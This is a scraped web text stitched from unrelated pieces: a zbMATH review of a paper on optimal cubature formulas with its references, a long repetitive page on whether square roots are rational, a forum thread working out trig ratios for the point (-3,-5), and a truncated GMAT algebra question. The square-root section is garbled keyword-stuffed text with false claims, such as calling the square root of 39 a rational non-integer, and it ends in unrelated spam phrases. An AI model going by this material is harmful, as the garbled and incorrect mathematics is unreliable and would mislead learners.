>>> import sys
>>> sys.getsizeof(ts)
120
1. This is the script used to generate the plots in the introductory page to hifitime.
Last update: 2022-12-01 | 2022-12-02 02:46:27 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3721933364868164, "perplexity": 9590.773881382393}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710890.97/warc/CC-MAIN-20221202014312-20221202044312-00472.warc.gz"} |
https://www.zbmath.org/?q=in%3A00281845+ai%3Aborodachov.sergiy-v | # zbMATH — the first resource for mathematics
Construction of optimal cubature formulas related to computer tomography. (English) Zbl 1231.65054
Summary: We study the problem of the optimization of approximate integration on the class of functions defined on the parallelepiped $$\Pi _{ d }=[0,a _{1}]\times \cdot \cdot \cdot \times [0,a _{ d }], a _{1},\cdots ,a _{ d }$$>0, having a given majorant for the modulus of continuity (relative to the $$l _{1}$$-metric in $$\mathbb R^{ d }$$). An optimal cubature formula, which uses as information integrals of $$f$$ along intersections of $$\Pi _{ d }$$ with $$n$$ arbitrary $$(d - 1)$$-dimensional hyperplanes in $$\mathbb R^{ d } (d>1)$$ is obtained. We also find an asymptotically optimal sequence of cubature formulas, whose information functionals are integrals of $$f$$ along intersections of $$\Pi _{ d }$$ with shifts of $$(d - 2)$$-dimensional coordinate subspaces of $$\mathbb R^{ d } (d>2)$$.
##### MSC:
65D30 Numerical integration 65D32 Numerical quadrature and cubature formulas 41A55 Approximate quadratures 41A63 Multidimensional problems
Full Text:
##### References:
[1] Babenko, V.F.: Asymptotically exact estimate of the remainder of the best cubature formulae for certain classes of functions. Mat. Zametki 19(3), 313–322 (1976) (in Russian); Math Notes 19, 187–193 (1976) [2] Babenko, V.F.: Exact asymptotic estimates of the remainders of weighted cubature formulas that are optimal for certain classes of functions. Mat. Zametki 20(4), 589–595 (1976) (in Russian) [3] Babenko, V.F.: On the optimal error bound for cubature formulae on certain classes of continuous functions. Anal. Math. 3, 3–9 (1977) · Zbl 0372.41020 [4] Babenko, V.F.: On a certain problem of optimal integration. In: Studies on Contemporary Problems of Integration and Approximations of Functions and Their Applications. Collection of Research Papers, pp. 3–13. Dnepropetrovsk State University, Dnepropetrovsk (1984) (in Russian) [5] Babenko, V.F.: Approximations, widths and optimal quadrature formulae for classes of periodic functions with rearrangement invariant sets of derivatives. Anal. Math. 13(4), 281–306 (1987) · Zbl 0652.41008 [6] Babenko, V.F., Borodachov, S.V.: On optimization of cubature formulae for the classes of monotone functions of several variables. Vestn. Dnepr. Univ. Math. 7, 3–7 (2002) (in Russian) [7] Babenko, V.F., Borodachov, S.V.: On optimization of approximate integration over a d-dimensional ball. East J. Approx. 9(1), 95–109 (2003) · Zbl 1111.41021 [8] Babenko, V.F., Borodachov, S.V.: On the construction of optimal cubature formulae which use integrals over hyperspheres. J. Complex. 23(3), 346–358 (2007) · Zbl 1114.41019 [9] Babenko, V.F., Borodachov, S.V., Skorokhodov, D.S.: Optimal cubature formulae on certain classes of functions defined on a unit cube. Numer. Math. (to appear) · Zbl 1262.41018 [10] Babenko, V.F., Skorokhodov, D.S.: On the best interval quadrature formulae for classes of differentiable periodic functions. J. Complex. 23(4–6), 890–917 (2007) · Zbl 1147.41008 [11] Benedetto, J.J., Zayed, A.I. (eds.): Sampling, Wavelets, and Tomography. Birkhäuser, Basel (2004) · Zbl 1047.94001 [12] Bojanov, B.D.: An extension of the Pizzetti formula for polyharmonic functions. Acta Math. Hung. 91(1–2), 99–113 (2001) · Zbl 0980.31004 [13] Bojanov, B.D.: Cubature formulae for polyharmonic functions, Recent progress in multivariate approximation. In: Internat. Ser. Numer. Math., Witten-Bommerholz, 2000, vol. 137, pp. 49–74. Birkhäuser, Basel (2001) · Zbl 0988.41017 [14] Bojanov, B., Petrova, G.: Uniqueness of the Gaussian quadrature for a ball. J. Approx. Theory 104, 21–44 (2000) · Zbl 0979.41020 [15] Bojanov, B.D., Dimitrov, D.K.: Gaussian extended cubature formulae for polyharmonic functions. Math. Comput. 70(234), 671–683 (2001) · Zbl 0965.31007 [16] Bojanov, B.D.: Optimal quadrature formulas. Usp. Mat. Nauk 60(6(366)), 33–52 (2005) (in Russian); translation in Russ. Math. Surv. 60(6), 1035–1055 (2005) [17] Bojanov, B., Petrov, P.: Gaussian interval quadrature formulae for Tchebycheff systems. SIAM J. Numer. Anal. 43(2), 787–795 (2005) · Zbl 1088.41016 [18] Bojanov, B.: Interpolation and integration based on averaged values. Approx. Pobab. Banach Cent. Publ. 72, 25–47 (2006) · Zbl 1116.41003 [19] Borodachov, S.V.: On optimization of interval quadrature formulae for certain non-symmetric classes of periodic functions. Vestn. Dnepr. Univ. Math. 4, 19–24 (1999) (in Russian) [20] Chernaya, E.V.: On the optimization of weighed cubature formulae on certain classes of continuous functions. East J. Approx. 1(1), 47–60 (1995) [21] Dimitrov, D.K.: Integration of polyharmonic functions. Math. Comput. 65, 1269–1281 (1996) · Zbl 0860.31003 [22] Fejes-Toth, L.: Lagerungen in der Ebene, auf der Kugel und im Raum, 1st edn. Springer, Berlin–Gottingen–Heidelberg (1953) (German); 2nd edn. Springer, Berlin (1972) · Zbl 0052.18401 [23] Gruber, P.M.: Optimum quantization and its applications. Adv. Math. 186, 456–497 (2004) · Zbl 1062.94012 [24] Kantorovich, L.V.: On special methods of numerical integration of even and odd functions. Proc. Steklov Math. Inst. Akad. Nauk. USSR 28, 3–25 (1949) · Zbl 0039.12504 [25] Korneichuk, N.P.: Best cubature formulae for certain classes of functions of several variables. Mat. Zametki 3(5), 565–576 (1968) (in Russian). English transl.: Math. Notes 3, 360–367 (1968) [26] Ligun, A.A.: Best quadrature formulas for some classes of periodic functions. Mat. Zametki 24(5), 661–669 (1978) (in Russian) [27] Lusternik, L.A.: Certain cubature formulas for double integrals. Dokl. Akad. Nauk SSSR 62(4), 449–452 (1948) [28] Motornyi, V.P.: On the best quadrature formula of the form $$$\backslash$$sum_{k=1}\^{n}{p_{k}f(x_{k})}$ for some classes of differentiable periodic functions. Izv. Akad. Nauk SSSR, Ser. Mat. 38(3), 583–614 (1974) (in Russian). English transl.: Math. USSR Izv. 8(3), 591–620 (1974) [29] Motornyi, V.P.: On the best interval quadrature formula in the class of functions with bounded r-th derivative. East J. Approx. 4(4), 459–478 (1998) [30] Motornyi, V.P.: Investigations of Dnepropetrovsk mathematicians on the optimization of quadrature formulas. Ukr. Math. J. 42(1), 13–27 (1990) · Zbl 0715.41044 [31] Mysovskih, I.P.: Interpolatory Cubature Formulae, 1st edn. Nauka, Moscow (1981) (Russian) [32] Natterer, F.: The Mathematics of Computerized Tomography. Teubner/Wiley, Stuttgart/Chichester (1986), x+222 pp. · Zbl 0617.92001 [33] Nikol’skiy, S.M.: Quadrature Formulae, 4th edn. Nauka, Moscow (1988) (in Russian) [34] Nikol’skiy, S.M.: To the question on estimates of approximation by quadrature formulae. Usp. Mat. Nauk 5(2(36)), 165–177 (1950) (in Russian) [35] Petrova, G.: Uniqueness of the Gaussian extended cubature for polyharmonic functions. East J. Approx. 9(3), 269–275 (2003) · Zbl 1111.41023 [36] Petrova, G.: Cubature formulae for spheres, simplices and balls. J. Comput. Appl. Math. 162(2), 483–496 (2004) · Zbl 1046.41015 [37] Traub, J.F., Wozniakowski, H.: A General Theory of Optimal Algorithms. Academic Press, San Diego (1980) · Zbl 0441.68046 [38] Žensykbaev, A.A.: The best quadrature formula for some classes of periodic differentiable functions. Izv. Akad. Nauk SSSR Ser. Mat. 41(5), 1110–1124 (1977) (in Russian) [39] Žensykbaev, A.A.: Monosplines of minimal norm and optimal quadrature formulas. Usp. Mat. Nauk 36(4(220)), 107–159 (1981) (in Russian) [40] Žensykbaev, A.A.: Problems of Recovery of Operators. Institute of Computer Research, Moscow–Izhevsk (2003), 412 pp. (in Russian) (ISBN: 5-93972-268-7)
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching. | 2021-07-24 00:33:04 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.615734875202179, "perplexity": 5017.9595519376835}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046150067.87/warc/CC-MAIN-20210724001211-20210724031211-00312.warc.gz"} |
http://directoriosma.com/bwazz6/dnyhi.php?id=is-the-square-root-of-36-a-rational-number-8ff70d | Unlike the examples above, not every square root of a number ends up being a nice and neat whole number. The square root of 39 is 6.245. Only square roots of perfect squares are rational, and in this case, they are also integer. d) "Square root of 3/5." Is the square root of 13 a rational number or an irrational number? Math Trick l Fast Math Trick l How to Find SQUARE ROOT of any Number … It is an irrational number if it is not a perfect square. Find out more here about permutations without repetition. An irrational number we can know only as a rational approximation. So 4 can be made by squaring a rational number. In geometrical terms, the square root function maps the area of a square to its side length.. 256 = 2 x 128 = 2 x 2 x 64 This is a rational—nameable—number. ... False. ... square root of 36. whole, integer, rational, and real. L.C.M method to solve time and work problems. answer choices . Remainder when 2 power 256 is divided by 17. All other square roots of integers are irrational. Free Rational Roots Calculator - find roots of polynomials using the rational roots theorem step-by-step This website uses cookies to ensure you get the best experience. They have the form #\sqrtx# where x is the number you are executing the operation on.. 5 and 6. Related Links : Rational and Irrational Numbers. When studying permutations in Math, the simplest cases involve permutations with repetition. The square root of 49 is a prime, rational number 7. Since there is no integer that can be multiplied by itself to make 80, the square root of 80 is irrational. Below is a short list of perfect squares, the first 20 perfect square numbers. Such as \bf{\frac{4}{5}} . What is … To find if the square root of a number is irrational or not, check to see if its prime factors all have even exponents. Combination Formula, Combinations without Repetition. The principal square root function () = (usually just referred to as the "square root function") is a function that maps the set of nonnegative real numbers onto itself. There are six common sets of numbers. Negative numbers don't have real square roots since a square is either positive or 0. Solution : We have, √(256/441) = √(256)/√(441) First find the square roots of 256 and 441 separately using prime factorization method. EXPLANATION: The square root of 36 is 6, which is an integer, and therefore rational. e) "2/3." The square root of 38 is a rational number if 38 is a perfect square. Prime Factors can help determine if a number will have a square root that is rational or irrational. To find square root and cube root of a rational number, we have to do the following steps. Solve this equation: This idea can also be extended to cube roots, etc. Pull terms out from under the radical, assuming positive real numbers. Prove: The Square Root of a Prime Number is Irrational. Since 37 ist not a perfect square, its square root is irrational. Finding square root using long division. Read More » Rational numbers can be expressed as a fraction, while other numbers are irrational. For example 25 is a perfect square since $$\pm \sqrt{25}= \pm 5$$ If the radicand is not a perfect square i.e. Math permutations are similar to combinations, but are generally a bit more involved. True. $\sqrt{2}=1.4142135…$ $\sqrt{3}=1.7320508…$ $\pi=3.14159265…$ A number that is not a rational number is called an irrational number. Is 36 an odd number? Prime Factors can help determine if a number will have a square root that is rational or irrational. False. Perfect √49. √4 and √100 in fact work out to be the tidy rational numbers 2 and 10. Since 36 is a perfect square, it is rational number. Simplify the denominator. How many square roots does the number 144 have? so √6 is irrational also. The nearest previous perfect square is … Use the graph below to determine a rational number with a square root between 4 and 5. Nor is a cube root of 2, or a square root of 5, etc. In the same way we saw that only the square roots of square numbers are rational, we could prove that only the nth roots of nth powers are rational. That is because \bf{\frac{4}{5}} IS a rational number. Integers: Rational Numbers: Integers, Fractions, and Terminating or Repeating Decimals. Only even powers/exponents, so √4 is rational. The roots of numbers page explained what a square root of a number was, and showed how to work out the square root. You can still navigate around the site and check out our free content, but some functionality, such as sign up, will not work. Because rational numbers are not closed under fractional exponents. That is, let be … Proof: The Square Root of a Prime Number is Irrational. 52 is already in such form, as 5 is a prime number. False. Shown were the square roots of 16 and 25. Putting 4 and 100 into prime factor form can tell us. Therefore, put 6 on top and 36 at the bottom like this: 6: 38: 00: 36: Now we look to put each number of the fraction into prime factor form, where each factor is a prime number. Step 3 : According to the index, we can take one number out of the radical sign. In this section, we will look at how to evaluate a rational number by using square roots. Step V: The fraction obtained in Step IV is the square root of the given fraction. Conclusion. We will also evaluate the square roots of rational numbers. In between what two integers is the square root of 44? Pull terms out from under the radical, assuming positive real numbers. When it comes to calculating the square root of an irrational number, you have two choices. Determine the Type of Number square root of 34. A rational number, is a number that can always be written as a fraction/quotient of integers. Only a rational number can we know and name exactly. The square root of 4 is rational. We will also use the proof by contradiction to prove this theorem. Irrational Square Root. 4 and 5. Irrational Numbers: Non Terminating or Non Repeating Decimals. Use the side lengths below to estimate and calculate the area of each square. The nearest previous perfect square is 36 and the nearest next perfect square is 64 . Irrational numbers include $(\pi)$ and square root. 6 and 7. Translating the word problems in to algebraic expressions. Putting 2 and 6 into prime factor form can again tell us. Irrational. Tags: Question 5 . The square root of x is rational if and only if x is a rational number that can be represented as a ratio of two perfect squares. Tap for more steps... Rewrite as . It is a rational number but not an integer and hence 39 is not a perfect square. It looks like you have javascript disabled. Examples are shown below. A rational number is one that is obtained when two integers are divided. Tap for more steps... Rewrite as . Find the square root of (36/81). Step 2 : Decompose the number inside the radical sign into prime factors. So the square root of 2 is not rational. A rational number of this form, can be squared. Rewrite as . Perfect √36. It is an irrational number if it is not a perfect square. A perfect square is a number x where the square root of x is a number a such that a 2 = x and a is an integer. √11=3.31662479...is an irrational number, not a rational number; it is a never-ending and non-repeating decimal; it can not be put in the form a/b where a and b are integers and b≠0 the square root of any number that is not a perfect square is irrational: These numbers are not regular, as shown below. Example 2. EXPLANATION: Only perfect squares have rational square roots. True. Rational means that if it is rational then it can be expressed as fractions. a) The square roots 16 and 25 happened to be the nice whole numbers 4 and 5. Are the square roots of 2 and 6 rational numbers? For the decimal representation of both irrational and rational numbers, see Topic 2 of Precalculus. As the square roots of 16 and 25 were solid whole numbers, 16 and 25 are known as "perfect square numbers" or "perfect squares". Step 1 : Identify the index of the given radical. b) 0.027 km. Problems dealing with combinations without repetition in Math can often be solved with the combination formula. ANSWER TRUE OR FALSE An operation that when executed on a number returns the value that when multiplied by itself returns the number given. no square roots are not rational numbers except for numbers like 4 or 36 , etc in other words, perfect squares.. Simplify the numerator. Find out if each of the following rational numbers is a perfect square. Solving problems with rational numbers in decimal form, Solving problems with rational numbers in fraction form, Determine square roots of rational numbers. (T/F): The square root of 80 is a rational number. Step 2) Starting with the first set: the largest perfect square less than or equal to 38 is 36, and the square root of 36 is 6. The square root of 6 is not a rational number. a) 5.2 cm. The Square root of 36 is 6 which is a rational number because it can be expressed as an improper fraction in the form of 6/1 answer choices . Since, it has an integer as its roots, it is called as a perfect square. We will also work on questions determining whether a rational number is a perfect square. It's actually the case that any rational number when squared, If the square root of an integer is another integer then the square is called a perfect square. Other perfect squares include 4, 16, 25, 36, 49, 64, 81, and 100. Examples on square root of rational numbers 1) Find the square root of rational numbers 256/441. In our previous lesson, we proved by contradiction that the square root of 2 is irrational. SURVEY . This time, we are going to prove a more general and interesting fact. Tags: Question 16 . The square root of 36 is a rational number. By … Only even powers/exponents, so √100 is rational. ... Decimal representation of rational numbers. The square root of 36 is a rational number if 36 is a perfect square. Many square roots of numbers turn out to be irrational roots, that is irrational numbers. Natural (Counting) Numbers: Whole Numbers: Natural Numbers and . Many square roots of numbers turn out to be irrational roots, that is irrational numbers. Either put the irrational number into a calculator or an online square root calculator (see Resources), in which case the calculator will return an approximate value for you – or you … Unlike the examples above, not every square root of a number ends up being a nice and neat whole number. If you do have javascript enabled there may have been a loading error; try refreshing your browser. 2. ANSWER TRUE OR FALSE All whole numbers are rational numbers. Answer : 36 is a rational number because it can be expressed as the quotient of two integers: 36÷ 1. Are the square roots of 4 and 100 rational numbers? ex: 1/4, 1/3, are examples of rationals. Such as above, where 5 had an even power/exponent of 2, and 2 had an even power/exponent of 4. If the powers of the prime factors of each number are all even, then the numbers that were squared to give us 4 and 100 are rational. A rational number is a number that can be written as a fraction, a / b, where a and b are integers. Odd power/exponent of 1, in both of the prime factors 2 and 3, each of those prime factors will have an even power/exponent. 2 is already a prime number in prime factor form by itself, with an odd power, 21. An equation x² = a, and the principal square root. For example, the square root of 2 is not a rational number. 3 and 4. Evaluate square root of 25/36. Thus, the 5th root of 32 is rational because 32 is a 5th power, namely the 5th power of 2. Square root of Rational Number || CPO Asked Questions || Number System || Best approach ... 36. 3. ... A rational number can be written as a fraction. will produce another number, that when prime factored, For example, 4, 9 and 16 are perfect squares since their square roots, 2, 3 and 4, respectively, are integers. This fact can be used generally to determine if a number has a square root that is rational or not. 5 } } & nbsp is not a perfect square numbers and therefore rational rational. Of number square root of 5, etc ) numbers: whole numbers are not regular, as below! Are generally a bit more involved more involved without repetition in Math can often be with... Side lengths below to determine a rational number can we know and name exactly a,! Tell us because 32 is rational or irrational number has a square is. # where x is the number inside the radical sign into prime factor form can tell us do javascript. Involve permutations with repetition in geometrical terms, the square root that rational... Therefore rational following steps, and the nearest previous perfect square, it has an integer is integer! Square root use the side lengths below to determine a rational number rational... Rational means that if it is an integer is another integer then the square root of 2 is a... Proof: the square root between 4 and 5 number by using roots. Are going to prove this theorem answer: 36 is a prime number prime! Positive or 0, its square root of 2 as shown below fact work out to the. A prime, rational, and therefore rational already in such form where! All whole numbers are not regular, as shown below can always be written as a rational number is! Irrational numbers Counting ) numbers: integers, Fractions, and real 64. Nbsp√4 & nbsp and & nbsp100 & nbsp into prime factor form, determine square roots &. Square root of 36. whole, integer, and Terminating or Repeating...., but are generally a bit more involved or a square root of 2, or a root. Roots, etc of 6 is not a rational number is irrational FALSE whole... May have been a loading error ; try refreshing your browser only perfect squares have rational square roots of nbsp16. Interesting fact & nbsp6 & nbsp into prime factor form by itself returns the number you are executing the on. There may have been a loading error ; try refreshing your browser list perfect... Is obtained when two integers are divided According to the index of the radical, assuming real... No integer that can always be written as a fraction, while other numbers are.... Loading error ; try refreshing your browser approach... 36 in fact work out be! Other numbers are not closed under fractional exponents already in such form, where and. … proof: the square root of 36. whole, integer, rational number we. Root function maps the area of a rational number because it can be written as fraction! Perfect squares, the square root of a square root of a square root is irrational numbers: numbers. Even powers/exponents, so & nbsp√4 & nbsp is a prime, rational number by using square roots &..., 64, 81, and real because 32 is a rational number 2 and 10 radical. Executing the operation on form # \sqrtx # where x is the square of... Number is a rational number is irrational also use the proof by contradiction the... An odd power, & nbsp rational numbers 1/4, 1/3, are examples of rationals,... Terms, the square root function maps the area of each square Non or! Number inside the radical, assuming positive real numbers itself to make 80, the square root of.. Operation on the decimal representation of both irrational and rational numbers of number square root 49. Since 36 is a 5th power of 2, or a square to its side length is... Repeating Decimals we have to do the following steps Topic 2 of Precalculus refreshing your browser have a... 4 can be squared & nbsp2 & nbsp and & nbsp6 & nbsp into prime factor form by itself make... Rational approximation in prime factor form, determine square roots of & nbsp4 nbsp. Problems with rational numbers your browser numbers are irrational, 25, 36, 49,,... An integer, rational number when 2 power 256 is divided by 17 number square root of 36. whole integer. Have to do the following steps numbers in fraction form, solving problems with numbers... Squaring a rational number if it is not a rational number already in such form, can used! Problems dealing with combinations without repetition in Math, the square roots &! The nearest previous perfect square, its square root of 2 \frac { 4 {... The nearest next perfect square 4 and 5 have been a loading error ; try refreshing your browser loading ;... & nbsp2 & nbsp perfect square, it has an integer, rational number thus, square! Index, we can know only as a fraction/quotient of integers Type of number root... Number 144 have above, not every square root of 80 is a rational number and!, 36, 49, 64, 81, and 100 at to! 1/3, are examples of rationals look to put each number of form... Topic 2 of Precalculus loading error ; try refreshing your browser shown were the square root that is rational is. Number || CPO Asked Questions || number System || Best approach... 36 will also use the side lengths to. You have two choices integer that can be squared natural ( Counting ) numbers: natural and., with an odd power, namely the 5th power of 2 is.. Fact work out to be irrational roots, it is not a number. Is obtained when two integers are divided { \frac { 4 } { }... Interesting fact be expressed as Fractions equation x² = a, and 100 with without... 4 and 5 contradiction to prove this theorem example, the first & nbsp20 nbsp! Tidy rational numbers: integers, Fractions, and Terminating or Non Repeating Decimals root between and. Its side length dealing with combinations without repetition in Math, the first & nbsp20 & nbsp in fact out..., 36, 49, 64, 81, and 100 to evaluate a rational number, you have choices. You have two choices 39 is not a rational number can be expressed as fraction/quotient... Of 32 is a perfect square to the index, we have to do the following numbers! Operation that when multiplied by itself to make 80, the simplest cases involve permutations with repetition numbers! Factor is the square root of 36 a rational number a perfect square is either positive or 0 tell us equation!, that is rational or not is the number inside the radical sign when it comes to calculating square... { \frac { 4 } { 5 } } integer and hence 39 is not a rational number be!, Fractions, and Terminating or Non Repeating Decimals nbsp20 & nbsp in fact work out to irrational... By itself to make 80, the first & nbsp20 & nbsp is not a rational can... Thus, the square root of 2, or a square root of numbers... A, and real nbsp into prime factor form can tell us { {., as shown below nbsp in fact work out to be the tidy rational numbers in form! Executed on a number has a square root is irrational where x is square. Problems with rational numbers are irrational 36 and the nearest next perfect.. A number has a square root of 80 is a rational number can know! Is a perfect square, its square root do the following rational numbers 256/441 factor.: Decompose the number given proof is the square root of 36 a rational number contradiction to prove this theorem nor is a number... Of 5, etc itself to make 80, the square root of rational numbers are rational numbers decimal... Now we look to put each number of this form, as shown below following rational numbers in form... Without repetition in Math can often be solved with the combination formula interesting. & nbsp2 & nbsp and & nbsp100 & nbsp is rational or irrational section, we will also the. Odd power, namely the 5th power of 2 is not a perfect square is positive! Numbers are irrational Non Repeating Decimals know and name exactly numbers 2 and..: 36÷ 1 out to be the tidy rational numbers & nbsp100 & nbsp is a... Topic 2 of Precalculus square root of a number will have a square root of 13 a rational or! & nbsp5 & nbsp is not a perfect square, is a rational number with a square root fraction prime... Can tell us its side length of 38 is a short list of perfect squares have rational square roots &... Are integers natural ( Counting ) numbers: natural numbers and javascript enabled there may have been a loading ;... Of 44 ) numbers: whole numbers: integers, Fractions, the! Prime, rational, and therefore rational is the square root of 36 a rational number 36÷ 1, a /,! || CPO Asked Questions || number System || Best approach... 36 form by itself to 80. Be used generally to determine a rational number || CPO Asked Questions || number System || Best approach 36. Other numbers are not regular, as & nbsp is a perfect square power of,! We can take one number out of the given radical not a square! } & nbsp is a cube root of 32 is a perfect square is.... Factor is a perfect square there may have been a loading error try.
Steel Connection Design Example Bs 5950, Cake Mould Shop Near Me, Hp Pavilion X360 Laptop - 14m-dw0013dx, Eggless Peanut Butter Cookies, Bsw Jobs Near Me, San Bruno Golf Camp, | 2021-01-22 03:24:38 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7182450294494629, "perplexity": 497.46039847558296}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703529080.43/warc/CC-MAIN-20210122020254-20210122050254-00706.warc.gz"} |
http://mathhelpforum.com/trigonometry/72113-exact-value-trig-ratios.html | # Thread: Exact value for trig ratios
1. ## Exact value for trig ratios
I have a question I'm having a bit of trouble with lads,
Determine the exact values for the 6 trig ratios Θ(theta) lies in the standard position with its terminal arm passing through the point P(-3,-5).
I know I'm supposed to find Sin, Cos, Tan, Csc, Sec, and Cot, but how do I find the radian measure so I can do so?
If anyone can help it would really be great, thanks so much!
2. Originally Posted by Random-Hero-
I have a question I'm having a bit of trouble with lads,
Determine the exact values for the 6 trig ratios Θ(theta) lies in the standard position with its terminal arm passing through the point P(-3,-5).
I know I'm supposed to find Sin, Cos, Tan, Csc, Sec, and Cot, but how do I find the radian measure so I can do so?
If anyone can help it would really be great, thanks so much!
to begin, did you actually draw the diagram as described?
3. Of course,
I'm assuming I have to find the angle in blue in radians, correct? Now how do I go about finding that value?
4. Originally Posted by Random-Hero-
Of course,
I'm assuming I have to find the angle in blue in radians, correct? Now how do I go about finding that value?
well, this diagram isn't complete. you need to draw a vertical line from the point where the red line touches the circle up to the x-axis. do you see the right triangle? now, do you remember SOHCAHTOA? (sine = opposite/hypotenuse, cosine = adjacent/hypotenuse, tangent = opposite/adjacent)
do you also recall that sec(x) = 1/cos(x), csc(x) = 1/sin(x) and cot(x) = 1/tan(x) ?
do you also recall (haha, getting sick of that phrase, i bet) that in the third quadrant, only tangent and cotangent are positive, while all the other trig ratios are negative?
5. I managed to find that angle (at least I think I found it properly). First I foun the hyp. So I did (-5)^2 + (-3)^2 rooted gave me root34, then I did Sin=Opp/Hyp which was sin=(-5)/root34 which ultimately gave me -59 degrees. So I then converted that to radians, and couldn't really reduce, so know I'm stuck with 59pi/180 (or is it -59pi/180?)
So now do I find the remaining angle on the other side of the red line? and use that to find my 6 values?
6. Originally Posted by Random-Hero-
I managed to find that angle (at least I think I found it properly). First I foun the hyp. So I did (-5)^2 + (-3)^2 rooted gave me root34, then I did Sin=Opp/Hyp which was sin=(-5)/root34 which ultimately gave me -59 degrees. So I then converted that to radians, and couldn't really reduce, so know I'm stuck with 59pi/180 (or is it -59pi/180?)
So now do I find the remaining angle on the other side of the red line? and use that to find my 6 values?
if you listened to what i said, you would realize that finding the angle is completely unnecessary. you found that the hypotenuse is $\sqrt{34}$, this is correct.
now, $\sin \theta = - \frac {5}{\sqrt{34}}$
$\cos \theta = - \frac {3}{\sqrt{34}}$
$\tan \theta = \frac 53$
just by following the formulas i gave you and the directions on what to make negative and positive. see my first post. as you see, you don't need to know what $\theta$ is. now finish up | 2017-09-22 16:00:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 5, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8832984566688538, "perplexity": 618.9691358092056}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818688997.70/warc/CC-MAIN-20170922145724-20170922165724-00410.warc.gz"} |
https://gmatclub.com/forum/if-3-y-2-y-5-and-y-5-then-y-288516.html | GMAT Question of the Day - Daily to your Mailbox; hard ones only
It is currently 15 Feb 2019, 11:03
### GMAT Club Daily Prep
#### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.
Customized
for You
we will pick new questions that match your level based on your Timer History
Track
Your Progress
every week, we’ll send you an estimated GMAT score based on your performance
Practice
Pays
we will pick new questions that match your level based on your Timer History
## Events & Promotions
###### Events & Promotions in February
PrevNext
SuMoTuWeThFrSa
272829303112
3456789
10111213141516
17181920212223
242526272812
Open Detailed Calendar
• ### Free GMAT practice
February 15, 2019
February 15, 2019
10:00 PM EST
11:00 PM PST
Instead of wasting 3 months solving 5,000+ random GMAT questions, focus on just the 1,500 you need.
# If (3/y + 2)(y - 5) and y ≠ 5, then y =
new topic post reply Question banks Downloads My Bookmarks Reviews Important topics
Author Message
TAGS:
### Hide Tags
Math Expert
Joined: 02 Sep 2009
Posts: 52905
If (3/y + 2)(y - 5) and y ≠ 5, then y = [#permalink]
### Show Tags
11 Feb 2019, 23:28
00:00
Difficulty:
(N/A)
Question Stats:
91% (01:10) correct 9% (01:01) wrong based on 11 sessions
### HideShow timer Statistics
If $$(\frac{3}{y} + 2)(y - 5)=0$$ and y ≠ 5, then y =
(A) -3/2
(B) -2/3
(C) 2/3
(D) 3/2
